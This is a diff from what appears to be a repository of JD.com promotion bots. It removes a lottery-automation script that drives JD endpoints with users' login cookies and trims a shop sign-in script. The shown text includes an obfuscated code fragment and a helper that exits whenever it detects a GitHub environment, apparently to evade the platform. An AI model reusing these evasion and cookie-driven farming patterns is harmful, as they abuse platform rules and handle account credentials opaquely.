JSON[__Oxe61ec[0x34]](_0x898ax22)}catch(e){console[__Oxe61ec[0x9]](e);$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x0],__Oxe61ec[0x7a]);return []}}}(function(_0x898ax23,_0x898ax24,_0x898ax25,_0x898ax26,_0x898ax27,_0x898ax28){_0x898ax28= __Oxe61ec[0x7b];_0x898ax26= function(_0x898ax29){if( typeof alert!== _0x898ax28){alert(_0x898ax29)};if( typeof console!== _0x898ax28){console[__Oxe61ec[0x9]](_0x898ax29)}};_0x898ax25= function(_0x898ax2a,_0x898ax23){return _0x898ax2a+ _0x898ax23};_0x898ax27= _0x898ax25(__Oxe61ec[0x7c],_0x898ax25(_0x898ax25(__Oxe61ec[0x7d],__Oxe61ec[0x7e]),__Oxe61ec[0x7f]));try{_0x898ax23= __encode;if(!( typeof _0x898ax23!== _0x898ax28&& _0x898ax23=== _0x898ax25(__Oxe61ec[0x80],__Oxe61ec[0x81]))){_0x898ax26(_0x898ax27)}}catch(e){_0x898ax26(_0x898ax27)}})({}) - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_daily_lottery.js b/jd_daily_lottery.js deleted file mode 100644 index a86c3ae..0000000 --- a/jd_daily_lottery.js +++ /dev/null @@ -1,339 +0,0 @@ -/* -小鸽有礼-每日抽奖 -活动入口:惊喜-》我的-》寄件服务-》寻味四季-》右侧瓜分千万京豆 -author:star -活动时间:2021-04-16至2021-05-17 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#每日抽奖 -13 1,22,23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_daily_lottery.js, tag=每日抽奖, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ -const $ = new Env('京东快递-每日抽奖'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const activityCode = '1545335372043517952'; -$.helpCodeList = []; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = $.UserName; - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await dailyLottery() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function dailyLottery() { - $.lotteryInfo = {}; - $.missionList = []; - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - console.log(`初始化`); - if ($.lotteryInfo.success !== true) { - console.log(`${$.UserName}数据异常,执行失败`); - return; - } - if ($.missionList.length === 0) { - console.log(`${$.UserName}获取任务列表失败`); - return; - } - $.runTime = 0; - do { - $.runFlag = false; - await doMission();//做任务 - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - await $.wait(1000); - await collectionTimes();//领任务奖励 - await Promise.all([getLotteryInfo(), getQueryMissionList()]); - await $.wait(1000); - $.runTime++; - } while ($.runFlag && $.runTime < 30); - - let drawNum = $.lotteryInfo.content.drawNum || 0; - console.log(`共有${drawNum}次抽奖机会`); - $.drawNumber = 1; - for (let i = 0; i < drawNum; i++) { - await $.wait(1000); - //执行抽奖 - await lotteryDraw(); - $.drawNumber++; - } -} - - -//做任务 -async function collectionTimes() { - console.log(`开始领任务奖励`); - for (let i = 0; i < $.missionList.length; i++) { - if ($.missionList[i].status === 11) { - let getRewardNos = $.missionList[i].getRewardNos; - for (let j = 0; j < getRewardNos.length; j++) { - await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 - await $.wait(1000); - } - } - } -} - -//做任务 -async function doMission() { - console.log(`开始执行任务`); - for (let i = 0; i < $.missionList.length; i++) { - if ($.missionList[i].status !== 1) { - continue; - } - await $.wait(1000); - if ($.missionList[i].jumpType === 135 || $.missionList[i].jumpType === 136 || $.missionList[i].jumpType === 137) { - await doOneMission($.missionList[i]); - } else if ($.missionList[i].jumpType === 45 || $.missionList[i].jumpType === 31) { - //await createInvitation($.missionList[i]); - await doOneMission2($.missionList[i]); - } - } -} - -async function doOneMission2(missionInfo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}"}]`; - const myRequest = getPostRequest('Luckdraw/completeMission', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} - data = JSON.parse(data); - if (data.success === true) { - console.log(`${missionInfo.title},任务执行成功`); - $.runFlag = true; - } else { - console.log(JSON.stringify(data)); - console.log(`${missionInfo.title},任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -//领奖励 -async function collectionOneMission(title, getRewardNo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; - const myRequest = getPostRequest('Luckdraw/getDrawChance', body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - console.log(`${title},领取任务奖励成功`); - } else { - console.log(JSON.stringify(data)); - console.log(`${title},领取任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//做任务 -async function doOneMission(missionInfo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; - const myRequest = getPostRequest('Luckdraw/completeMission', body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - console.log(`${missionInfo.title},任务执行成功`); - $.runFlag = true; - } else { - console.log(JSON.stringify(data)); - console.log(`${missionInfo.title},任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取任务列表 -async function getQueryMissionList() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/queryMissionList', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - $.missionList = data.content.missionList; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取信息 -async function getLotteryInfo() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/queryActivityBaseInfo', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - $.lotteryInfo = JSON.parse(data); - // console.log($.lotteryInfo); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -async function lotteryDraw() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/draw', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - //console.log(`${data}`); - data = JSON.parse(data); - if (data.success === true) { - console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); - } else { - console.log(`${$.name}第${$.drawNumber}次抽奖失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getPostRequest(type, body) { - const url = `https://lop-proxy.jd.com/${type}`; - const method = `POST`; - let t= `${Date.now()}`; - const headers = { - 'Accept-Encoding': `gzip, deflate, br`, - 'Host': `lop-proxy.jd.com`, - 'Origin': `https://jingcai-h5.jd.com`, - 'Connection': `keep-alive`, - 'biz-type': `service-monitor`, - 'Accept-Language': `zh-cn`, - 'version': `1.0.0`, - 'uuid': `${t}${t * 2}`, - 'jexpress-report-time': t, - 'Content-Type': `application/json;charset=utf-8`, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), - 'Referer': `https://jingcai-h5.jd.com`, - 'ClientInfo': `{"appName":"jingcai","client":"m"}`, - 'access': `WX-XCX`, - 'Accept': `application/json, text/plain, */*`, - 'source-client': `2`, - 'X-Requested-With': `XMLHttpRequest`, - 'Cookie': cookie, - 'LOP-DN': `jingcai.jd.com`, - 'AppParams': `{"appid":158,"ticket_type":"m"}`, - 'app-key': `jexpress` - }; - return {url: url, method: method, headers: headers, body: body}; -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - - -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dpqd.js b/jd_dpqd.js index afa6862..08ed06a 100644 --- a/jd_dpqd.js +++ b/jd_dpqd.js @@ -1,47 +1,17 @@ /* -cron 45 0 0,23 * * * jd_dpqd.js -店铺签到,店铺Token默认从本地环境变量DPQDTK中获取,若本地无则从远端获取。 - -Fix by HarbourJ -TG: https://t.me/HarbourToulu - -环境变量: -DPQDTK: token1&token2 -仓库不再提供token +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +15 2,14 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_shop_sign.js, tag=店铺签到, enabled=true +===========Loon============ +[Script] +cron "15 2,14 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_shop_sign.js,tag=店铺签到 +============Surge============= +店铺签到 = type=cron,cronexp="15 2,14 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_shop_sign.js +===========小火箭======== +店铺签到 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_shop_sign.jss, cronexpr="15 2,14 * * *", timeout=3600, enable=true */ - -let token = [] -if (process.env.DPQDTK) { - if (process.env.DPQDTK.includes('\n')) { - token = [...process.env.DPQDTK.split('\n'),...token] - } else { - token = [...process.env.DPQDTK.split('&'),...token] - } -} - -if (!token.length) { - console.log('无本地店铺签到token, 尝试获取远端店铺签到token') - token = [ - 'C1B3B8D4BBE96E6A3EF0C12F27F868D3', - 'AB549463C778127E4A3EA0F9AE447F43', - '30D17316E31067004ED239DE9F121B0D', - '5ADCA39CC24D5F7A9203D485CB6E315E', - '897010DC16CE14E18C6539CAD1A05CAB', - 'C36E42C7BA5F40A75AB1BF3D38C007A7', - 